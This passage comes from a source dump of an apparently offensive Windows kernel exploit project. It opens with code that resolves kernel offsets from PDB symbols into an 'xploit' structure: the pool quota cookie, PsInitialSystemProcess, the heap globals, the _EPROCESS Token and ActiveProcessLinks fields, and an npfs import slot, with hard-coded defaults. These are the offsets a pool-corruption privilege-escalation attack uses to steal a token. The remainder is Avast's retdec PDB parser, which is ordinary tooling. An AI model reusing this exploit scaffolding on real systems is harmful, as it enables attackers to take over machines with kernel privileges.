retdec::pdbparser::PDBGlobalVariable* ExpPoolQuotaCookie_Val = pdb_symbols->get_global_variable_by_name(ExpPoolQuotaCookie); 342 | retdec::pdbparser::PDBGlobalVariable* PsInitialSystemProcess_Val = pdb_symbols->get_global_variable_by_name(PsInitialSystemProcess); 343 | retdec::pdbparser::PDBGlobalVariable* RtlpHpHeapGlobals_Val = pdb_symbols->get_global_variable_by_name(RtlpHpHeapGlobals); 344 | if (ExpPoolQuotaCookie_Val) 345 | { 346 | int ExpPoolQuotaCookie_Offset = ExpPoolQuotaCookie_Val->address - NTBASE; 347 | printf("[+]offset ExpPoolQuotaCookie :=> %lx\r\n", ExpPoolQuotaCookie_Offset); 348 | xploit->nt_poolquotacookie_offset = ExpPoolQuotaCookie_Offset; 349 | } 350 | else 351 | { 352 | xploit->nt_poolquotacookie_offset = NT_POOLQUOTACOOKIE_OFFSET_DEFAULT; 353 | printf("[+]offset ExpPoolQuotaCookie failed :=> %lx\r\n", xploit->nt_poolquotacookie_offset); 354 | } 355 | 356 | if (PsInitialSystemProcess_Val) 357 | { 358 | int PsInitialSystemProcess_Offset = PsInitialSystemProcess_Val->address - NTBASE; 359 | printf("[+]offset PsInitialSystemProcess :=> %lx\r\n", PsInitialSystemProcess_Offset); 360 | xploit->nt_psinitialsystemprocess_offset = PsInitialSystemProcess_Offset; 361 | } 362 | else 363 | { 364 | xploit->nt_psinitialsystemprocess_offset = NT_PSINITIALSYSTEMPROCESS_OFFSET_DEFAULT; 365 | printf("[+]offset PsInitialSystemProcess failed :=> %lx\r\n", xploit->nt_psinitialsystemprocess_offset); 366 | } 367 | if (RtlpHpHeapGlobals_Val) 368 | { 369 | int RtlpHpHeapGlobals_Offset = RtlpHpHeapGlobals_Val->address - NTBASE; 370 | printf("[+]offset RtlpHpHeapGlobals :=> %lx\r\n", RtlpHpHeapGlobals_Offset); 371 | xploit->nt_rtlphpheapglobals_offset = RtlpHpHeapGlobals_Offset; 372 | } 373 | else 374 | { 375 | xploit->nt_rtlphpheapglobals_offset = NT_RTLPHPHEAPGLOBALS_OFFSET_DEFAULT; 376 | printf("[+]offset RtlpHpHeapGlobals failed :=> %lx\r\n", xploit->nt_rtlphpheapglobals_offset); 377 | } 378 | 379 | const char EPROCESS[] = "_EPROCESS"; 380 | const char ProcessQuotaUsage[] = "ProcessQuotaUsage"; 381 | const char QuotaBlock[] = "QuotaBlock"; 382 | const char ActiveProcessLinks[] = "ActiveProcessLinks"; 383 | const char Token[] = "Token"; 384 | const char ImageFileName[] = "ImageFileName"; 385 | 386 | //pdb_type->print_types_by_name(EPROCESS); 387 | int ProcessQuotaUsage_Offset = pdb_type->get_types_field_offset(EPROCESS, ProcessQuotaUsage); 388 | int QuotaBlock_Offset = pdb_type->get_types_field_offset(EPROCESS, QuotaBlock); 389 | int ActiveProcessLinks_Offset = pdb_type->get_types_field_offset(EPROCESS, ActiveProcessLinks); 390 | int Token_Offset = pdb_type->get_types_field_offset(EPROCESS, Token); 391 | int ImageFileName_Offset = pdb_type->get_types_field_offset(EPROCESS, ImageFileName); 392 | 393 | if (ImageFileName_Offset) 394 | { 395 | 396 | printf("[+]offset struct _EPROCESS of ProcessQuotaUsage :=> %lx\r\n", ProcessQuotaUsage_Offset); 397 | xploit->eprocess_processquotausage = ProcessQuotaUsage_Offset; 398 | } 399 | else 400 | { 401 | xploit->eprocess_processquotausage = EPROCESS_PROCESSQUOTAUSAGE_DEFAULT; 402 | printf("[+]offset struct _EPROCESS of ProcessQuotaUsage failed :=> %lx\r\n", xploit->eprocess_processquotausage); 403 | } 404 | 405 | if (QuotaBlock_Offset) 406 | { 407 | printf("[+]offset struct _EPROCESS of QuotaBlock :=> %lx\r\n", QuotaBlock_Offset); 408 | xploit->eprocess_quotablock = QuotaBlock_Offset; 409 | 410 | } 411 | else 412 | { 413 | xploit->eprocess_quotablock = EPROCESS_QUOTABLOCK_DEFAULT; 414 | printf("[+]offset struct _EPROCESS of QuotaBlock failed :=> %lx\r\n", xploit->eprocess_quotablock); 415 | } 416 | if (ActiveProcessLinks_Offset) 417 | { 418 | printf("[+]offset struct _EPROCESS of ActiveProcessLinks :=> %lx\r\n", ActiveProcessLinks_Offset); 419 | xploit->activeprocesslinks_off = ActiveProcessLinks_Offset; 420 | } 421 | else 422 | { 423 | xploit->activeprocesslinks_off = ACTIVEPROCESSLINKS_OFF_DEFAULT; 424 | printf("[+]offset struct _EPROCESS of ActiveProcessLinks failed :=> %lx\r\n", xploit->activeprocesslinks_off); 425 | } 426 | if (Token_Offset) 427 | { 428 | printf("[+]offset struct _EPROCESS of Token :=> %lx\r\n", Token_Offset); 429 | xploit->eprocess_token = Token_Offset; 430 | } 431 | else 432 | { 433 | xploit->eprocess_token = EPROCESS_TOKEN_DEFAULT; 434 | printf("[+]offset struct _EPROCESS of Token failed :=> %lx\r\n", xploit->eprocess_token); 435 | } 436 | if (ImageFileName_Offset) 437 | { 438 | printf("[+]offset struct _EPROCESS of ImageFileName :=> %lx\r\n", ImageFileName_Offset); 439 | xploit->imagefilename_off = ImageFileName_Offset; 440 | } 441 | else 442 | { 443 | xploit->imagefilename_off = IMAGEFILENAME_OFF_DEFAULT; 444 | printf("[+]offset struct _EPROCESS of ImageFileName failed :=> %lx\r\n", xploit->imagefilename_off); 445 | } 446 | 447 | ret = true; 448 | } 449 | else 450 | { 451 | xploit->nt_allocatepoolwithtag_offset = NT_ALLOCATEPOOLWITHTAG_OFFSET_DEFAULT; 452 | 453 | xploit->nt_poolquotacookie_offset = NT_POOLQUOTACOOKIE_OFFSET_DEFAULT; 454 | 455 | xploit->nt_psinitialsystemprocess_offset = NT_PSINITIALSYSTEMPROCESS_OFFSET_DEFAULT; 456 | 457 | xploit->nt_rtlphpheapglobals_offset = NT_RTLPHPHEAPGLOBALS_OFFSET_DEFAULT; 458 | 459 | xploit->eprocess_processquotausage = EPROCESS_PROCESSQUOTAUSAGE_DEFAULT; 460 | 461 | xploit->eprocess_quotablock = EPROCESS_QUOTABLOCK_DEFAULT; 462 | 463 | xploit->activeprocesslinks_off = ACTIVEPROCESSLINKS_OFF_DEFAULT; 464 | 465 | xploit->eprocess_token = EPROCESS_TOKEN_DEFAULT; 466 | 467 | xploit->imagefilename_off = IMAGEFILENAME_OFF_DEFAULT; 468 | 469 | ret = false; 470 | } 471 | if (npfs.load_image_file(NPFSImagePath) == retdec::pdbparser::PDB_STATE_OK) { 472 | npfs.initialize(); 473 | //npfs.print_pdb_file_info(); 474 | const char NpFsdCreate[] = "NpFsdCreate"; 475 | retdec::pdbparser::PDBSymbols* pdb_symbols_npfs = npfs.get_symbols_container(); 476 | retdec::pdbparser::PDBFunction* NpFsdCreate_Func = pdb_symbols_npfs->get_function_by_name(NpFsdCreate); 477 | if (NpFsdCreate_Func) 478 | { 479 | int NpFsdCreate_Offset = NpFsdCreate_Func->address - NPFSBASE; 480 | printf("[+]offset NpFsdCreate :=> %lx\r\n", NpFsdCreate_Offset); 481 | xploit->npfs_npfsdcreate_offset = NpFsdCreate_Offset; 482 | } 483 | else 484 | { 485 | xploit->npfs_npfsdcreate_offset = NPFS_NPFSDCREATE_OFFSET_DEFAULT; 486 | printf("[+]offset NpFsdCreate failed :=> %lx\r\n", xploit->npfs_npfsdcreate_offset); 487 | } 488 | 489 | DWORD64 ExAllocatePoolWithTag_Func = npfs.PeGetImportThunkDataRaw("ntoskrnl.exe", ExAllocatePoolWithTag); 490 | if (ExAllocatePoolWithTag_Func) 491 | { 492 | printf("[+]offset GOT_ALLOCATEPOOLWITHTAG :=> %lx\r\n", ExAllocatePoolWithTag_Func); 493 | xploit->npfs_got_allocatepoolwithtag_offset = ExAllocatePoolWithTag_Func; 494 | } 495 | else 496 | { 497 | xploit->npfs_got_allocatepoolwithtag_offset = NPFS_GOT_ALLOCATEPOOLWITHTAG_OFFSET_DEFAULT; 498 | printf("[+]offset GOT_ALLOCATEPOOLWITHTAG failed :=> %lx\r\n", xploit->npfs_got_allocatepoolwithtag_offset); 499 | } 500 | 501 | if (ret) 502 | { 503 | ret = true; 504 | } 505 | 506 | }else 507 | { 508 | xploit->npfs_npfsdcreate_offset = NPFS_NPFSDCREATE_OFFSET_DEFAULT; 509 | xploit->npfs_got_allocatepoolwithtag_offset = NPFS_GOT_ALLOCATEPOOLWITHTAG_OFFSET_DEFAULT; 510 | } 511 | 512 | return ret; 513 | 514 | } 515 | 516 | EXTERN_C boolean config_default(xploit_t* xploit) 517 | { 518 | xploit->nt_allocatepoolwithtag_offset = NT_ALLOCATEPOOLWITHTAG_OFFSET_DEFAULT; 519 | 520 | xploit->nt_poolquotacookie_offset = NT_POOLQUOTACOOKIE_OFFSET_DEFAULT; 521 | 522 | xploit->nt_psinitialsystemprocess_offset = NT_PSINITIALSYSTEMPROCESS_OFFSET_DEFAULT; 523 | 524 | xploit->nt_rtlphpheapglobals_offset = NT_RTLPHPHEAPGLOBALS_OFFSET_DEFAULT; 525 | 526 | xploit->eprocess_processquotausage = EPROCESS_PROCESSQUOTAUSAGE_DEFAULT; 527 | 528 | xploit->eprocess_quotablock = EPROCESS_QUOTABLOCK_DEFAULT; 529 | 530 | xploit->activeprocesslinks_off = ACTIVEPROCESSLINKS_OFF_DEFAULT; 531 | 532 | xploit->eprocess_token = EPROCESS_TOKEN_DEFAULT; 533 | 534 | xploit->imagefilename_off = IMAGEFILENAME_OFF_DEFAULT; 535 | 536 | xploit->npfs_npfsdcreate_offset = NPFS_NPFSDCREATE_OFFSET_DEFAULT; 537 | 538 | xploit->npfs_got_allocatepoolwithtag_offset = NPFS_GOT_ALLOCATEPOOLWITHTAG_OFFSET_DEFAULT; 539 | return true; 540 | } -------------------------------------------------------------------------------- /poolfs/poolfs/src/pdb_symbols.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * @file src/pdbparser/pdb_symbols.cpp 3 | * @brief Symbols 4 | * @copyright (c) 2017 Avast Software, licensed under the MIT license 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include "pdb_symbols.h" 13 | 14 | using namespace std; 15 | 16 | namespace retdec { 17 | namespace pdbparser { 18 | 19 | // ================================================================= 20 | // 21 | // CLASS PDBFunction 22 | // 23 | // ================================================================= 24 | 25 | // ================================================================= 26 | // PUBLIC METHODS 27 | // ================================================================= 28 | 29 | void dump_local_variable(PDBLocalVariable &var) 30 | { 31 | switch (var.location) 32 | { // Print variable location and properties 33 | case PDBLVLOC_REGISTER: 34 | { 35 | printf("\t\tREGISTER block: %d reg_num: %08x type: %08x ", var.block, var.register_num, var.type_index); 36 | break; 37 | } 38 | case PDBLVLOC_BPREL32: 39 | { 40 | printf("\t\tBPREL32 block: %d offset: %08x type: %08x ", var.block, var.offset, var.type_index); 41 | break; 42 | } 43 | case PDBLVLOC_REGREL32: 44 | { 45 | printf("\t\tREGREL32 block: %d reg: %08x offset: %08x typind: %08x ", var.block, var.register_num, 46 | var.offset, var.type_index); 47 | break; 48 | } 49 | default: 50 | break; 51 | } 52 | if (var.type_def != nullptr) 53 | var.type_def->dump(true); // Print type definition 54 | else 55 | printf("(?)"); 56 | printf(" [%s]\n", var.name); // Print variable name 57 | } 58 | 59 | void PDBFunction::dump(void) 60 | { 61 | printf("** Function [%s] at 0x%llx\n", name, address); 62 | if (overload_index > 0) 63 | printf("\tFunction is overloaded. Index: %d\n", overload_index); 64 | printf("\tOffset : %08x\n", offset); 65 | printf("\tSection: %04x\n", section); 66 | printf("\tModule : %d\n", module_index); 67 | printf("\tLength : %08x (%d bytes)\n", length, length); 68 | printf("\tType : %08x ", type_index); 69 | if (type_def != nullptr) 70 | { 71 | //assert(type_def->type_class == PDBTYPE_FUNCTION); 72 | type_def->dump(true); 73 | } 74 | puts(""); 75 | int nblocks = blocks.size(); 76 | if (nblocks > 1) 77 | { 78 | printf("\tCode blocks (%d):", nblocks); 79 | for (int i = 0; i < nblocks; i++) 80 | printf(" %08x", blocks[i]); 81 | puts(""); 82 | } 83 | printf("\tFunction arguments:\n"); 84 | for (unsigned int i = 0; i < arguments.size(); i++) 85 | { 86 | dump_local_variable(arguments[i]); 87 | } 88 | printf("\tLocal variables:\n"); 89 | for (unsigned int i = 0; i < loc_variables.size(); i++) 90 | { 91 | dump_local_variable(loc_variables[i]); 92 | } 93 | printf("\tData in function's code:\n"); 94 | for (unsigned int i = 0; i < data.size(); i++) 95 | { 96 | printf("\t\tDATA Offset : %08x Section: %04x Type: %08x ", data[i].offset, data[i].section, data[i].type_index); 97 | int size = -1; 98 | if (data[i].type_def != nullptr) 99 | { 100 | data[i].type_def->dump(true); 101 | size = data[i].type_def->size_bytes; 102 | } 103 | printf(" Size: %d bytes [%s] at 0x%16lx\n", size, data[i].name, data[i].address); 104 | } 105 | printf("\tLine number information:\n"); 106 | for (unsigned int i = 0; i < lines.size(); i++) 107 | { 108 | printf("\t\tLine: %d Offset: %08x (%16lx)\n", lines[i].line, lines[i].offset, lines[i].offset + address); 109 | } 110 | puts(""); 111 | } 112 | 113 | bool PDBFunction::parse_symbol(PDBGeneralSymbol *symbol, PDBTypes *types, PDBSymbols *pdbsyms) 114 | { 115 | switch (symbol->type) 116 | { 117 | case S_GPROC32: 118 | case S_LPROC32: 119 | { // Function definition 120 | PROCSYM32 *func_sym = reinterpret_cast(symbol); 121 | name = reinterpret_cast(func_sym->name); 122 | overload_index = 0; 123 | address = pdbsyms->get_virtual_address(func_sym->seg, func_sym->off); 124 | offset = func_sym->off; 125 | section = func_sym->seg; 126 | length = func_sym->len; 127 | type_index = func_sym->typind; 128 | type_def = reinterpret_cast(types->get_type_by_index(type_index)); 129 | 130 | if (type_def == nullptr || type_def->type_class != PDBTYPE_FUNCTION) 131 | { 132 | return false; 133 | } 134 | 135 | if (type_def != nullptr) 136 | { 137 | args_remain = type_def->func_args_count; 138 | if (type_def->func_thistype_index) 139 | args_remain++; // This-parameter 140 | if (type_def->func_is_variadic) 141 | args_remain--; // Variadic function 142 | } 143 | blocks.push_back(func_sym->off); // First block is function's beginning 144 | depth = 1; 145 | cur_block = 0; 146 | break; 147 | } 148 | case S_FRAMEPROC: 149 | { // Function stack frame 150 | break; 151 | } 152 | case S_REGREL32: 153 | { // Local variable register-relative 154 | REGREL32 *lvar_sym = reinterpret_cast(symbol); 155 | PDBLocalVariable new_var = 156 | { // Fill local variable structure 157 | reinterpret_cast(lvar_sym->name), PDBLVLOC_REGREL32, cur_block, lvar_sym->off, 158 | lvar_sym->reg, lvar_sym->typind, types->get_type_by_index(lvar_sym->typind), }; 159 | if ((args_remain--) > 0) 160 | arguments.push_back(new_var); // variable is function argument 161 | else 162 | loc_variables.push_back(new_var); // variable is local variable 163 | break; 164 | } 165 | case S_BPREL32: 166 | { // Local variable EBP-relative 167 | BPRELSYM32 *lvar_sym = reinterpret_cast(symbol); 168 | PDBLocalVariable new_var = 169 | { // Fill local variable structure 170 | reinterpret_cast(lvar_sym->name), PDBLVLOC_BPREL32, cur_block, lvar_sym->off, 0, 171 | lvar_sym->typind, types->get_type_by_index(lvar_sym->typind), }; 172 | if ((args_remain--) > 0) 173 | arguments.push_back(new_var); // variable is function argument 174 | else 175 | loc_variables.push_back(new_var); // variable is local variable 176 | break; 177 | } 178 | case S_BLOCK32: 179 | { // Block 180 | BLOCKSYM32 *block_sym = reinterpret_cast(symbol); 181 | blocks.push_back(block_sym->off); 182 | depth++; 183 | cur_block++; 184 | break; 185 | } 186 | case S_REGISTER: 187 | { // Local variable in register 188 | REGSYM *lvar_sym = reinterpret_cast(symbol); 189 | PDBLocalVariable new_var = 190 | { // Fill local variable structure 191 | reinterpret_cast(lvar_sym->name), PDBLVLOC_REGISTER, cur_block, 0, lvar_sym->reg, 192 | lvar_sym->typind, types->get_type_by_index(lvar_sym->typind), }; 193 | if ((args_remain--) > 0) 194 | arguments.push_back(new_var); // variable is function argument 195 | else 196 | loc_variables.push_back(new_var); // variable is local variable 197 | break; 198 | } 199 | //case S_GDATA32: 200 | case S_LDATA32: 201 | { // Data inside function code 202 | DATASYM32 *data_sym = reinterpret_cast(symbol); 203 | PDBFunctionData new_data = 204 | { // Fill structure 205 | reinterpret_cast(data_sym->name), // Name 206 | pdbsyms->get_virtual_address(data_sym->seg, data_sym->off), // Address 207 | data_sym->off, // Offset 208 | data_sym->seg, // Segment 209 | data_sym->typind, // Type index 210 | types->get_type_by_index(data_sym->typind), // Type definition 211 | }; 212 | data.push_back(new_data); 213 | break; 214 | } 215 | case S_END: 216 | { // Function or block end 217 | depth--; 218 | if (depth == 0) 219 | return true; // Function ended 220 | break; 221 | } 222 | default: 223 | break; 224 | } 225 | return false; 226 | } 227 | 228 | void PDBFunction::parse_line_info(LineInfoHeader *hdr) 229 | { 230 | if (hdr == nullptr || hdr->off != unsigned(offset)) 231 | return; 232 | for (unsigned int i = 0; i < hdr->num_records; i++) 233 | { // Process all lines 234 | LineInfoRecord * record = &hdr->records[i]; 235 | PDBLineInfo new_line = 236 | { // Fill line info structure 237 | record->line, record->off, }; 238 | lines.push_back(new_line); 239 | } 240 | } 241 | 242 | std::string PDBFunction::getNameWithOverloadIndex() const 243 | { 244 | std::stringstream ret; 245 | ret << name; 246 | if (overload_index > 0) 247 | { 248 | ret << "_" << overload_index; 249 | } 250 | return ret.str(); 251 | } 252 | 253 | // ================================================================= 254 | // 255 | // CLASS PDBSymbols 256 | // 257 | // ================================================================= 258 | 259 | // ================================================================= 260 | // PUBLIC METHODS 261 | // ================================================================= 262 | 263 | void PDBSymbols::parse_symbols(void) 264 | { 265 | if (parsed) 266 | return; 267 | 268 | // Process SYM stream to find global variables 269 | int position = 0; 270 | while (unsigned(position) < pdb_sym_size) 271 | { 272 | PDBGeneralSymbol *symbol = reinterpret_cast(pdb_sym_data + position); 273 | if (symbol->type == S_GDATA32 || symbol->type == S_LDATA32|| symbol->type == S_PUB32) 274 | { // Global variable 275 | DATASYM32 * sym = reinterpret_cast(symbol); 276 | PDBGlobalVariable new_var = 277 | {reinterpret_cast(sym->name), // Name 278 | get_virtual_address(sym->seg, sym->off), // Address 279 | sym->off, // Offset 280 | sym->seg, // Section 281 | -1, // Module index 282 | sym->typind, // Type index 283 | types->get_type_by_index(sym->typind), // Type definition 284 | }; 285 | global_variables[new_var.address] = new_var; 286 | } 287 | position += symbol->size + 2; 288 | } 289 | 290 | // Map to help find overloaded functions (key is function name) 291 | std::map func_names; 292 | 293 | // Process all modules streams to find functions and all other information 294 | for (unsigned int m = 0; m < modules.size(); m++) 295 | { 296 | if (modules[m].stream_num == 65535) 297 | continue; 298 | PDBStream *stream = modules[m].stream; 299 | position = 4; 300 | int cnt = 0; 301 | PDBFunction * new_function = nullptr; 302 | while (position < stream->size) 303 | { // Process all symbols in module stream 304 | PDBGeneralSymbol *symbol = reinterpret_cast(stream->data + position); 305 | if (symbol->size == 0xf4 || symbol->size == 0 || symbol->type == 0) 306 | break; // Determine the end of symbol list 307 | switch (symbol->type) 308 | { 309 | case S_GPROC32: 310 | case S_LPROC32: 311 | { // Symbol is function begin 312 | new_function = new PDBFunction(m); // Create new function 313 | new_function->parse_symbol(symbol, types, this); 314 | 315 | ///if (new_function == nullptr || new_function->type_def == nullptr || new_function->type_def->type_class != PDBTYPE_FUNCTION) 316 | if (new_function == nullptr || new_function->type_def == nullptr ) 317 | { 318 | delete new_function; 319 | new_function = nullptr; 320 | }else 321 | { 322 | functions[new_function->address] = new_function; 323 | new_function = nullptr; 324 | } 325 | 326 | break; 327 | } 328 | case S_GDATA32: 329 | case S_LDATA32: 330 | { // Data symbol 331 | DATASYM32 * sym = reinterpret_cast(symbol); 332 | if (new_function != nullptr && sym->seg <= sections[0].file_address) 333 | // Data inside function's code 334 | new_function->parse_symbol(symbol, types, this); 335 | else 336 | { // Global variable 337 | PDBGlobalVariable new_var = 338 | {reinterpret_cast(sym->name), // Name 339 | get_virtual_address(sym->seg, sym->off), // Address 340 | sym->off, // Offset 341 | sym->seg, // Section 342 | int(m), // Module index 343 | sym->typind, // Type index 344 | types->get_type_by_index(sym->typind), // Type definition 345 | }; 346 | global_variables[new_var.address] = new_var; 347 | } 348 | break; 349 | } 350 | default: 351 | { // Any other symbols 352 | if (new_function != nullptr) 353 | { 354 | // Let the function parse symbols between begin and end 355 | bool ended = new_function->parse_symbol(symbol, types, this); 356 | if (ended) 357 | { // Function definition ended 358 | // Check if function is overloaded 359 | std::map::iterator it; 360 | it = func_names.find(new_function->name); 361 | if (it != func_names.end()) 362 | { // Function with this name already exists, mark both as overloaded 363 | int cur_index = it->second->overload_index; 364 | if (cur_index == 0) // Give first function index 1 365 | cur_index = it->second->overload_index = 1; 366 | new_function->overload_index = cur_index + 1; 367 | it->second = new_function; 368 | } 369 | else 370 | func_names[new_function->name] = new_function; 371 | // Add function into functions map 372 | functions[new_function->address] = new_function; 373 | new_function = nullptr; 374 | } 375 | } 376 | break; 377 | } 378 | } 379 | cnt++; 380 | position += symbol->size + 2; 381 | } 382 | 383 | cnt = 0; 384 | while (position < stream->size) 385 | { // Process all big symbols in module stream 386 | PDBBigSymbol *symbol = reinterpret_cast(stream->data + position); 387 | if (symbol->type == 0 || symbol->type > 0xFF || position + int(symbol->size) > stream->size) 388 | break; 389 | switch (symbol->type) 390 | { 391 | case 0xF2: 392 | { // Symbol is line info header 393 | LineInfoHeader *sym = reinterpret_cast(symbol); 394 | auto addr = get_virtual_address(sym->seg, sym->off); 395 | 396 | PDBFunctionAddressMap::iterator fIt = functions.find(addr); 397 | if (fIt != functions.end() && fIt->second != nullptr) 398 | fIt->second->parse_line_info(sym); 399 | break; 400 | } 401 | default: 402 | break; 403 | } 404 | position += symbol->size + 8; 405 | cnt++; 406 | } 407 | } 408 | parsed = true; 409 | } 410 | 411 | void PDBSymbols::dump_global_symbols(void) 412 | { 413 | unsigned int position = 0; 414 | int cnt = 0; 415 | puts("******* SYM global symbols *******"); 416 | while (position < pdb_sym_size) 417 | { 418 | PDBGeneralSymbol *symbol = reinterpret_cast(pdb_sym_data + position); 419 | printf("Symbol %3d: size %04x type %04x: ", cnt, symbol->size, symbol->type); 420 | dump_symbol(reinterpret_cast(symbol)); 421 | 422 | position += symbol->size + 2; 423 | cnt++; 424 | } 425 | puts(""); 426 | } 427 | 428 | void PDBSymbols::dump_module_symbols(int index) 429 | { 430 | puts("******* SYM module symbols *******"); 431 | printf("Module #%d Stream number: %d Module name: %s\n", index, modules[index].stream_num, modules[index].name); 432 | puts(""); 433 | if (modules[index].stream_num == 65535) 434 | { 435 | puts("Module stream is not present in PDB file.\n"); 436 | return; 437 | } 438 | PDBStream *stream = modules[index].stream; 439 | int position = 4; 440 | int cnt = 0; 441 | 442 | while (position < stream->size) 443 | { // Dump symbols 444 | PDBGeneralSymbol *symbol = reinterpret_cast(stream->data + position); 445 | if (symbol->size == 0xf4 || symbol->size == 0 || symbol->type == 0) 446 | break; 447 | printf("Symbol %3d: size %04x type %04x: ", cnt, symbol->size - 2, symbol->type); 448 | 449 | switch (symbol->type) 450 | { 451 | case S_END: //0x0006 452 | { 453 | printf("END\n"); 454 | break; 455 | } 456 | case S_OEM: //0x0404 457 | { 458 | OEMSYMBOL *sym = reinterpret_cast(symbol); 459 | printf("OEM idOem: (hexstring) typind: %08x rgl: ", sym->typind); 460 | print_dwords(sym->rgl, symbol->size - 20); 461 | printf("\n"); 462 | break; 463 | } 464 | case S_FRAMEPROC: //0x1012 465 | { 466 | FRAMEPROCSYM *sym = reinterpret_cast(symbol); 467 | printf( 468 | "FRAMEPROC cbFrame: %08x cbPad: %08x offPad: %08x cbSaveRegs: %08x offExHdlr: %08x sectExHdlr: %04x flags: \n", 469 | sym->cbFrame, sym->cbPad, sym->offPad, sym->cbSaveRegs, sym->offExHdlr, 470 | sym->sectExHdlr/*,*((PDB_DWORD *)(&(sym->flags)))*/); 471 | break; 472 | } 473 | case S_OBJNAME: //0x1101 474 | { 475 | OBJNAMESYM *sym = reinterpret_cast(symbol); 476 | printf("OBJNAME signature: %08x name: %s\n", sym->signature, sym->name); 477 | break; 478 | } 479 | case S_THUNK32: //0x1102 480 | { 481 | THUNKSYM32 *sym = reinterpret_cast(symbol); 482 | printf( 483 | "THUNK32 pParent: %08x pEnd: %08x pNext: %08x off: %08x seg: %04x len: %04x ord: %02x name: %s\n", 484 | sym->pParent, sym->pEnd, sym->pNext, sym->off, sym->seg, sym->len, sym->ord, sym->name); 485 | break; 486 | } 487 | case S_BLOCK32: //0x1103 488 | { 489 | BLOCKSYM32 *sym = reinterpret_cast(symbol); 490 | printf("BLOCK32 pParent: %08x pEnd: %08x len: %08x off: %08x seg: %04x name: %s\n", sym->pParent, 491 | sym->pEnd, sym->len, sym->off, sym->seg, sym->name); 492 | break; 493 | } 494 | case S_LABEL32: //0x1105 495 | { 496 | LABELSYM32 *sym = reinterpret_cast(symbol); 497 | printf("LABEL32 off: %08x seg: %04x flags: %02x name: %s\n", sym->off, sym->seg, sym->flags.bAll, 498 | sym->name); 499 | break; 500 | } 501 | case S_REGISTER: //0x1106 502 | { 503 | REGSYM *sym = reinterpret_cast(symbol); 504 | printf("REGISTER typind: %08x reg: %04x name: %s\n", sym->typind, sym->reg, sym->name); 505 | break; 506 | } 507 | case S_CONSTANT: //0x1107 508 | { 509 | CONSTSYM *sym = reinterpret_cast(symbol); 510 | PDB_DWORD value; 511 | PDB_PBYTE name; 512 | name = RecordValue(reinterpret_cast(&sym->value), &value); 513 | printf("CONSTANT typind: %08x value: %04x name: %s\n", sym->typind, value, name); 514 | break; 515 | } 516 | case S_UDT: //0x1108 517 | { 518 | UDTSYM *sym = reinterpret_cast(symbol); 519 | printf("UDT typind: %08x name: %s\n", sym->typind, sym->name); 520 | break; 521 | } 522 | case S_BPREL32: //0x110b 523 | { 524 | BPRELSYM32 *sym = reinterpret_cast(symbol); 525 | printf("BPREL32 off: %08x typind: %08x name: %s\n", sym->off, sym->typind, sym->name); 526 | break; 527 | } 528 | case S_LDATA32: //0x110c 529 | { 530 | DATASYM32 *sym = reinterpret_cast(symbol); 531 | printf("LDATA32 typind: %08x off: %08x seg: %04x name: %s\n", sym->typind, sym->off, sym->seg, 532 | sym->name); 533 | break; 534 | } 535 | case S_GDATA32: //0x110d 536 | { 537 | DATASYM32 *sym = reinterpret_cast(symbol); 538 | printf("GDATA32 typind: %08x off: %08x seg: %04x name: %s\n", sym->typind, sym->off, sym->seg, 539 | sym->name); 540 | break; 541 | } 542 | case S_PUB32: //0x110e 543 | { 544 | PUBSYM32 *sym = reinterpret_cast(symbol); 545 | printf("PUB32 pubsymflags: %08x off: %08x seg: %04x name: %s\n", sym->pubsymflags.grfFlags, sym->off, 546 | sym->seg, sym->name); 547 | break; 548 | } 549 | case S_LPROC32: //0x110f 550 | { 551 | PROCSYM32 *sym = reinterpret_cast(symbol); 552 | printf( 553 | "LPROC32 pParent: %08x pEnd: %08x pNext: %08x len: %08x DbgStart: %08x DbgEnd: %08x typind: %08x off: %08x seg: %04x flags: %02x name: %s\n", 554 | sym->pParent, sym->pEnd, sym->pNext, sym->len, sym->DbgStart, sym->DbgEnd, sym->typind, 555 | sym->off, sym->seg, sym->flags.bAll, sym->name); 556 | break; 557 | } 558 | case S_GPROC32: //0x1110 559 | { 560 | PROCSYM32 *sym = reinterpret_cast(symbol); 561 | printf( 562 | "GPROC32 pParent: %08x pEnd: %08x pNext: %08x len: %08x DbgStart: %08x DbgEnd: %08x typind: %08x off: %08x seg: %04x flags: %02x name: %s\n", 563 | sym->pParent, sym->pEnd, sym->pNext, sym->len, sym->DbgStart, sym->DbgEnd, sym->typind, 564 | sym->off, sym->seg, sym->flags.bAll, sym->name); 565 | break; 566 | } 567 | case S_REGREL32: //0x1111 568 | { 569 | REGREL32 *sym = reinterpret_cast(symbol); 570 | printf("REGREL32 off: %08x typind: %08x reg: %04x name: %s\n", sym->off, sym->typind, sym->reg, 571 | sym->name); 572 | break; 573 | } 574 | case S_COMPILE2: //0x1116 575 | { 576 | COMPILESYM *sym = reinterpret_cast(symbol); 577 | printf( 578 | "COMPILE2 machine: %04x verFEMajor: %04x verFEMinor: %04x verFEBuild: %04x verMajor: %04x verMinor: %04x verBuild: %04x verSt: %s\n", 579 | sym->machine, sym->verFEMajor, sym->verFEMinor, sym->verFEBuild, sym->verMajor, sym->verMinor, 580 | sym->verBuild, sym->verSt); 581 | break; 582 | } 583 | case S_MANSLOT: //0x1120 584 | { 585 | MANSLOTSYM *sym = reinterpret_cast(symbol); 586 | printf("(?)MANSLOT %08x %08x %08x %08x %s\n", sym->unknown1, sym->unknown2, sym->unknown3, 587 | sym->unknown4, sym->name); 588 | break; 589 | } 590 | case S_UNAMESPACE: //0x1124 591 | { 592 | UNAMESPACE *sym = reinterpret_cast(symbol); 593 | printf("UNAMESPACE name: %s\n", sym->name); 594 | break; 595 | } 596 | case S_GMANPROC: //0x112a 597 | { 598 | MANPROCSYM *sym = reinterpret_cast(symbol); 599 | printf( 600 | "GMANPROC pParent: %08x pEnd: %08x pNext: %08x len: %08x DbgStart: %08x DbgEnd: %08x token: %08x off: %08x seg: %04x flags: %02x retReg: %04x name: %s\n", 601 | sym->pParent, sym->pEnd, sym->pNext, sym->len, sym->DbgStart, sym->DbgEnd, sym->token, sym->off, 602 | sym->seg, sym->flags.bAll, sym->retReg, sym->name); 603 | break; 604 | } 605 | case S_LMANPROC: //0x112b 606 | { 607 | MANPROCSYM *sym = reinterpret_cast(symbol); 608 | printf( 609 | "LMANPROC pParent: %08x pEnd: %08x pNext: %08x len: %08x DbgStart: %08x DbgEnd: %08x token: %08x off: %08x seg: %04x flags: %02x retReg: %04x name: %s\n", 610 | sym->pParent, sym->pEnd, sym->pNext, sym->len, sym->DbgStart, sym->DbgEnd, sym->token, sym->off, 611 | 